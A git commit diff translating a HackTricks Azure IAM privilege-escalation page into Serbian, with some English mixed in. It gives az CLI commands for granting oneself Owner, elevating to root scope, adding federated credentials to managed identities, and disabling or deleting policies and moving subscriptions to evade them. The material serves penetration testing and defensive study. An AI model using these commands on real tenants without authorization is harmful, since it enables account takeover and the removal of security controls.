Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:48:09 +00:00
parent 678d263912
commit 58ed90338e

View File

@@ -1,4 +1,4 @@
# Az - Azure IAM Privesc (Authorization)
# Az - Azure IAM Privesc (Autorizacija)
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,16 +12,16 @@ Za više informacija pogledajte:
### Microsoft.Authorization/roleAssignments/write
Ova dozvola omogućava dodeljivanje uloga principima unutar specifičnog opsega, omogućavajući napadaču da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
Ovo dopuštenje omogućava dodeljivanje uloga principalima nad određenim opsegom, omogućavajući attacker-u da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Ova dozvola omogućava modifikaciju dozvola koje dodeljuje uloga, omogućavajući napadaču da eskalira privilegije dodeljivanjem više dozvola ulozi koju je dodelio.
Ova dozvola omogućava izmenu dozvola dodeljenih roli, što napadaču omogućava eskalaciju privilegija dodeljivanjem većih ovlašćenja roli koju ima.
Kreirajte datoteku `role.json` sa sledećim **sadržajem**:
Kreirajte fajl `role.json` sa sledećim **sadržajem**:
```json
{
"roleName": "<name of the role>",
@@ -36,16 +36,16 @@ Kreirajte datoteku `role.json` sa sledećim **sadržajem**:
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Zatim ažurirajte dozvole uloge sa prethodnom definicijom pozivajući:
Zatim ažurirajte dozvole uloge koristeći prethodnu definiciju pozivajući:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Ova dozvola omogućava podizanje privilegija i dodeljivanje dozvola bilo kojem principalu za Azure resurse. Namenjena je Entra ID Global Administrátorima kako bi mogli da upravljaju dozvolama nad Azure resursima.
Ova dozvola omogućava podizanje privilegija i dodeljivanje ovlašćenja bilo kojem principal-u nad Azure resources. Namenjena je Entra ID Global Administrators tako da oni takođe mogu upravljati permissions nad Azure resources.
> [!TIP]
> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi poziv za podizanje privilegija radio.
> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi elevate poziv radio.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Ova dozvola omogućava dodavanje federisanih kredencijala upravljanim identitetima. Na primer, omogućava pristup Github Actions u repozitorijumu upravljanom identitetu. Zatim, omogućava **pristup bilo kojem korisnički definisanom upravljanom identitetu**.
Ova dozvola omogućava dodavanje Federated credentials na managed identities. Na primer, može se dodeliti pristup Github Actions u repo jednoj managed identity. Zatim, omogućava **pristup bilo kojoj korisnički definisanoj managed identity**.
Primer komande za davanje pristupa repozitorijumu u Github-u upravljanom identitetu:
Primer komande za dodeljivanje pristupa repo-u na Github-u jednoj managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Napadač koji poseduje dozvolu `Microsoft.Authorization/policyAssignments/write` ili `Microsoft.Authorization/policyAssignments/delete` nad management group, subscription, ili resource group može **izmeniti ili obrisati Azure policy assignments**, potencijalno **onemogućivši sigurnosna ograničenja** koja blokiraju određene operacije.
To omogućava pristup resursima ili funkcionalnostima koje su prethodno bile zaštićene politikom.
**Obriši dodelu politike:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Onemogućite dodelu politike:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Proverite izmene:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Napadač sa dozvolom `Microsoft.Authorization/policyDefinitions/write` može **izmeniti Azure definicije politika**, menjajući pravila koja kontrolišu bezbednosna ograničenja u celom okruženju.
Na primer, politika koja ograničava dozvoljene regione za kreiranje resursa može biti izmenjena da dozvoli bilo koji region, ili se efekat politike može promeniti tako da postane neefikasan.
**Izmeniti definiciju politike:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Proverite promene:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Napadač koji ima dozvolu `Microsoft.Management/managementGroups/write` može **izmeniti hijerarhijsku strukturu management groups** ili **kreirati nove management groups**, potencijalno zaobilazeći restriktivne politike primenjene na višim nivoima.
Na primer, napadač može kreirati novu management group bez restriktivnih politika i zatim premestiti subscriptions u nju.
**Kreirajte novu management group:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Izmenite hijerarhiju management grupe:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Proverite izmene:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Napadač sa dozvolom `Microsoft.Management/managementGroups/subscriptions/write` može **premestiti pretplate između management groups**, potencijalno **izbeći restriktivne politike** premestivši pretplatu u grupu sa manje restriktivnim ili bez politika.
**Premestite pretplatu u drugu management group:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Proverite promene:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}